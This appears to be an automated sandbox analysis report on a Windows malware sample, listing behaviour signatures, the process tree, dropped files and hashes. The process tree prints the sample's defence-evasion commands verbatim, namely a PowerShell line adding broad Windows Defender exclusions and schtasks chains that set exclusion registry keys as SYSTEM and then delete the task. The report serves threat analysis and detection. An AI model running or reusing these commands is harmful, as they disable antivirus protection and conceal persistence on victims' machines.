Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 20:00

General

  • Target
    appstep.58680017.exe
  • Size 54.3MB
  • Sample260721-yrdwsstdke
  • SHA256 d9d1fd13da14290fa7c921ee4aca37f2efd4e0403005b6bc2a7e5dc12ee70124
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe
    "C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3532
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1268
    • C:\Users\Public\slsBxh\lLWGm1.exe
      "C:\Users\Public\slsBxh\lLWGm1.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1072
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\slsBxh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5540
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\slsBxh\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5064
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:3228
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:4472
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3176
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4920
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5236
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4648
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5844
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3388
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:4416
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4328
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:1944
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5696
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1972
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4332
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:5008
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3740
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4092
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4276
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\slsBxh" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:1572
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\slsBxh" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:1520
                          • C:\Users\Public\slsBxh\lLWGm1.exe
                            "C:\Users\Public\slsBxh\lLWGm1.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1968
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:4308
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:1860
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4896
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:356
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:572
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:5452
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:2792

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                                        • Size 1KB
                                        • SHA256 e535d2ba34aff4851d3fada9a6711e3418d6bfacff52b2a10ca5794998f221b3
                                        • MD5 SHA1 SHA512 TLSH

                                        B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
                                        • Size 1KB
                                        • SHA256 0887c86b38370d50547353c120bbad0ff2f288aa0097bc758d60eab33bd9312d
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                                        • Size 508B
                                        • SHA256 d42a5638e7cafe5593a5df0a250b56ab780275355938e5cf53fa0ea5344d79ae
                                        • MD5 SHA1 SHA512 TLSH

                                        B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
                                        • Size 510B
                                        • SHA256 91574091854b5035375ddd6c4b5cbb3be10d278c34f2c6b14b834ad568fb1414
                                        • MD5 SHA1 SHA512 TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\slsBxh\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 0969e9528346cee089ba2e6d538dccfa5fdbe34ae3b41ac636613e1af19b213a
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\slsBxh\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 4f46fb2fc23091004fa93a4a0f42f2d90e6875ec322db0748465e736b8b20e18
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        lLWGm1.exe

                                        • Path C:\Users\Public\slsBxh\lLWGm1.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\slsBxh\msadox.tb
                                        • Size 8KB
                                        • SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/1072-608-0x000002821AB40000-0x000002821AB4A000-memory.dmp

                                        memory/1072-605-0x000002821AD80000-0x000002821AE32000-memory.dmp

                                        memory/1072-604-0x000002821AD60000-0x000002821AD7E000-memory.dmp

                                        memory/1072-601-0x000002821AB00000-0x000002821AB22000-memory.dmp

                                        memory/1768-561-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

                                        memory/1768-534-0x00007FFAE0EB0000-0x00007FFAE13CE000-memory.dmp

                                        memory/1768-542-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-546-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-547-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-549-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-548-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-553-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-563-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

                                        memory/1768-562-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

                                        memory/1768-533-0x00007FFB03B30000-0x00007FFB03B32000-memory.dmp

                                        memory/1768-560-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

                                        memory/1768-559-0x000001FD0B930000-0x000001FD0B97E000-memory.dmp

                                        memory/1768-567-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-569-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-570-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-539-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

                                        memory/1768-541-0x00007FFB03B40000-0x00007FFB03B42000-memory.dmp

                                        memory/1968-594-0x00007FFB03B30000-0x00007FFB03B32000-memory.dmp

                                        memory/1968-590-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

                                        memory/1968-580-0x00007FFAE0EB0000-0x00007FFAE13CE000-memory.dmp

                                        memory/1968-583-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

                                        memory/1968-588-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

                                        memory/1968-585-0x00007FFB03B40000-0x00007FFB03B42000-memory.dmp

                                        memory/1968-593-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

                                        memory/1968-592-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

                                        memory/1968-591-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

                                        memory/3532-0-0x00000000004D0000-0x00000000004DD000-memory.dmp

                                        memory/3532-527-0x00007FFAFB8F0000-0x00007FFAFB902000-memory.dmp

                                        memory/3532-526-0x00000000004D0000-0x00000000004DD000-memory.dmp

                                        memory/3532-504-0x00007FFAFB8F0000-0x00007FFAFB902000-memory.dmp

                                        memory/3532-2-0x00000000004E0000-0x00000000004EB000-memory.dmp

                                        memory/3532-1-0x00000000004D0000-0x00000000004DD000-memory.dmp